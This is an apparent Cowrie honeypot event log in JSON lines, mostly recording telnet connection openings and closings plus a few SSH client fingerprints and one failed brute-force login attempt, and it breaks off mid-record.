{"eventid":"cowrie.session.closed","duration":30.838871717453003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:23.138943Z","src_ip":"62.77.140.101","session":"628d3697de4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":38394,"dst_ip":"10.17.0.5","dst_port":23,"session":"09af4e3db19a","protocol":"telnet","message":"New connection: 62.77.140.101:38394 (10.17.0.5:23) [session: 09af4e3db19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:23.347910Z"}
{"eventid":"cowrie.session.closed","duration":31.050439596176147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:23.501518Z","src_ip":"138.197.5.236","session":"21563403d20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.813883543014526,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:24.094586Z","src_ip":"66.132.172.187","session":"b040631929b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":37140,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8aa64645d73","protocol":"telnet","message":"New connection: 107.152.33.170:37140 (10.17.0.5:23) [session: f8aa64645d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:24.250003Z"}
{"eventid":"cowrie.session.closed","duration":30.793380737304688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:25.094038Z","src_ip":"80.252.221.197","session":"52e6c0947dc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58054,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad26ca6df7e1","protocol":"telnet","message":"New connection: 80.252.221.197:58054 (10.17.0.5:23) [session: ad26ca6df7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:25.310018Z"}
{"eventid":"cowrie.session.closed","duration":30.29635190963745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:26.046794Z","src_ip":"107.152.33.170","session":"ee53a17408f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83358120918274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:26.099361Z","src_ip":"80.252.221.197","session":"d2943d507724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618393898010254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:26.106548Z","src_ip":"62.77.140.101","session":"6d95b37f402a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10211682319641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:26.313480Z","src_ip":"212.192.218.74","session":"8f3186fc9149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01665711402893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:26.318469Z","src_ip":"212.192.218.74","session":"c3fbf317b5e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41134,"dst_ip":"10.17.0.5","dst_port":23,"session":"45fdbc68425f","protocol":"telnet","message":"New connection: 80.252.221.197:41134 (10.17.0.5:23) [session: 45fdbc68425f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:28.283726Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":42734,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ff02cfb6a3","protocol":"telnet","message":"New connection: 169.62.47.99:42734 (10.17.0.5:23) [session: d4ff02cfb6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:28.319259Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":42744,"dst_ip":"10.17.0.5","dst_port":23,"session":"272b3b0fa57c","protocol":"telnet","message":"New connection: 169.62.47.99:42744 (10.17.0.5:23) [session: 272b3b0fa57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:28.394654Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.245.83.63","src_port":35144,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ed4a3659f3","protocol":"telnet","message":"New connection: 185.245.83.63:35144 (10.17.0.5:23) [session: 18ed4a3659f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:28.558606Z"}
{"eventid":"cowrie.session.closed","duration":31.487923860549927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:28.699927Z","src_ip":"136.244.67.81","session":"83c7b10f0ffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":36182,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0eba3f7964a","protocol":"telnet","message":"New connection: 66.132.172.218:36182 (10.17.0.5:23) [session: d0eba3f7964a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:28.975808Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.187","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"b666f5a3c508","protocol":"telnet","message":"New connection: 66.132.172.187:43032 (10.17.0.5:23) [session: b666f5a3c508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:28.984374Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41148,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbbfa9574b4a","protocol":"telnet","message":"New connection: 80.252.221.197:41148 (10.17.0.5:23) [session: bbbfa9574b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:29.295938Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41152,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7678036843d","protocol":"telnet","message":"New connection: 80.252.221.197:41152 (10.17.0.5:23) [session: d7678036843d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:29.331771Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.245.83.63","src_port":35160,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e031546a02","protocol":"telnet","message":"New connection: 185.245.83.63:35160 (10.17.0.5:23) [session: b5e031546a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:29.345198Z"}
{"eventid":"cowrie.session.closed","duration":30.282214879989624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:30.142161Z","src_ip":"160.187.180.68","session":"7aff74f80e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.245.83.63","src_port":35170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee8ba16f34ee","protocol":"telnet","message":"New connection: 185.245.83.63:35170 (10.17.0.5:23) [session: ee8ba16f34ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:30.221859Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":42758,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ccab8ec072","protocol":"telnet","message":"New connection: 169.62.47.99:42758 (10.17.0.5:23) [session: d3ccab8ec072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:30.261875Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":42774,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a7f854194c5","protocol":"telnet","message":"New connection: 169.62.47.99:42774 (10.17.0.5:23) [session: 8a7f854194c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:30.267415Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":42800,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6189b261ac1","protocol":"telnet","message":"New connection: 169.62.47.99:42800 (10.17.0.5:23) [session: e6189b261ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:30.323111Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":42784,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d8a5c53196","protocol":"telnet","message":"New connection: 169.62.47.99:42784 (10.17.0.5:23) [session: c9d8a5c53196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:30.330614Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41154,"dst_ip":"10.17.0.5","dst_port":23,"session":"040af2f368a8","protocol":"telnet","message":"New connection: 80.252.221.197:41154 (10.17.0.5:23) [session: 040af2f368a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:31.632579Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":36992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae6323fe9cc4","protocol":"telnet","message":"New connection: 62.77.140.101:36992 (10.17.0.5:23) [session: ae6323fe9cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:31.831898Z"}
{"eventid":"cowrie.session.closed","duration":30.731723308563232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:32.095316Z","src_ip":"62.77.140.101","session":"841ac9676b98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941738605499268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:32.290203Z","src_ip":"212.192.218.74","session":"be91c0c6d88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.328083276748657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:33.103595Z","src_ip":"138.197.5.236","session":"7e1d8628ccf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95894718170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:33.274746Z","src_ip":"212.192.218.74","session":"daa6f439951a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845323085784912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:33.301342Z","src_ip":"212.192.218.74","session":"98467bef1f09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":57948,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc73732d028","protocol":"telnet","message":"New connection: 169.62.47.99:57948 (10.17.0.5:23) [session: 9bc73732d028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:33.385032Z"}
{"eventid":"cowrie.session.closed","duration":30.868087768554688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:33.529133Z","src_ip":"62.77.140.101","session":"9eb4ba22e195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.245.83.63","src_port":35172,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e4d7ece1704","protocol":"telnet","message":"New connection: 185.245.83.63:35172 (10.17.0.5:23) [session: 2e4d7ece1704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:33.639631Z"}
{"eventid":"cowrie.session.closed","duration":30.75657892227173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:34.071548Z","src_ip":"62.77.140.101","session":"d25b7945f59b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89141345024109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:34.129056Z","src_ip":"212.192.218.74","session":"d1a1d954edf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41170,"dst_ip":"10.17.0.5","dst_port":23,"session":"f165f1c1658c","protocol":"telnet","message":"New connection: 80.252.221.197:41170 (10.17.0.5:23) [session: f165f1c1658c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:34.285913Z"}
{"eventid":"cowrie.session.closed","duration":31.09066152572632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:34.369890Z","src_ip":"169.62.47.99","session":"f232efad6ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.166186571121216,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:35.150474Z","src_ip":"66.132.172.187","session":"b666f5a3c508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":57952,"dst_ip":"10.17.0.5","dst_port":23,"session":"706314f02b3d","protocol":"telnet","message":"New connection: 169.62.47.99:57952 (10.17.0.5:23) [session: 706314f02b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:35.251980Z"}
{"eventid":"cowrie.session.closed","duration":30.943362712860107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:35.283656Z","src_ip":"212.192.218.74","session":"2b7014bbfcc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41176,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd2a3381dc7","protocol":"telnet","message":"New connection: 80.252.221.197:41176 (10.17.0.5:23) [session: 2bd2a3381dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:35.310558Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":57962,"dst_ip":"10.17.0.5","dst_port":23,"session":"479bc0d11b56","protocol":"telnet","message":"New connection: 169.62.47.99:57962 (10.17.0.5:23) [session: 479bc0d11b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:35.326318Z"}
{"eventid":"cowrie.session.closed","duration":31.02680468559265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:35.526852Z","src_ip":"169.62.47.99","session":"45f4ce3ee277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00205397605896,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:36.294680Z","src_ip":"185.206.126.5","session":"1cb8d693b6ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.732203722000122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:36.714685Z","src_ip":"212.192.218.74","session":"cac8168d57ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78759264945984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:37.083716Z","src_ip":"62.77.140.101","session":"a7f6c05f29f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45730,"dst_ip":"159.203.135.109","dst_port":22,"session":"738af04dd024","protocol":"ssh","message":"New connection: 159.203.92.129:45730 (159.203.135.109:22) [session: 738af04dd024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:37.700962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:37.705532Z","src_ip":"159.203.92.129","session":"738af04dd024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:37.714703Z","src_ip":"159.203.92.129","session":"738af04dd024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaaaaaa","password":"123456","message":"login attempt [aaaaaaaaaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:37.724310Z","src_ip":"159.203.92.129","session":"738af04dd024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.972156286239624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:38.402561Z","src_ip":"212.192.218.74","session":"109986866f1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:38.729957Z","src_ip":"159.203.92.129","session":"738af04dd024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.626325845718384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:39.091763Z","src_ip":"62.77.140.101","session":"e4486cfd742e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.187","src_port":46140,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e95a6bb3bbb","protocol":"telnet","message":"New connection: 66.132.172.187:46140 (10.17.0.5:23) [session: 5e95a6bb3bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:40.078259Z"}
{"eventid":"cowrie.session.closed","duration":30.854589223861694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:41.041667Z","src_ip":"136.244.67.81","session":"fef8f3eaace9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584561824798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:41.103189Z","src_ip":"80.252.221.197","session":"2d19928a8b41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165222883224487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:41.378303Z","src_ip":"212.192.218.74","session":"4529f6388741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635563373565674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:42.070289Z","src_ip":"62.77.140.101","session":"bb725969b449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789783239364624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:42.112759Z","src_ip":"80.252.221.197","session":"748b81cdb90f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833842992782593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:43.039850Z","src_ip":"136.244.67.81","session":"f53913f4834d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45970,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ec8fcc887e","protocol":"telnet","message":"New connection: 80.252.221.197:45970 (10.17.0.5:23) [session: 84ec8fcc887e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:44.287846Z"}
{"eventid":"cowrie.session.closed","duration":15.48157262802124,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:44.457272Z","src_ip":"66.132.172.218","session":"d0eba3f7964a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841198921203613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:45.133109Z","src_ip":"80.252.221.197","session":"f0a9021d9142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45984,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a2b0429994","protocol":"telnet","message":"New connection: 80.252.221.197:45984 (10.17.0.5:23) [session: c5a2b0429994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:45.618160Z"}
{"eventid":"cowrie.session.closed","duration":30.8153657913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:46.105346Z","src_ip":"80.252.221.197","session":"e652b63d0f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":37228,"dst_ip":"10.17.0.5","dst_port":23,"session":"e299deee04fc","protocol":"telnet","message":"New connection: 107.152.33.170:37228 (10.17.0.5:23) [session: e299deee04fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:47.085091Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40218,"dst_ip":"159.203.135.109","dst_port":22,"session":"5734b782a95f","protocol":"ssh","message":"New connection: 80.94.92.186:40218 (159.203.135.109:22) [session: 5734b782a95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:48.020942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:48.113773Z","src_ip":"80.94.92.186","session":"5734b782a95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp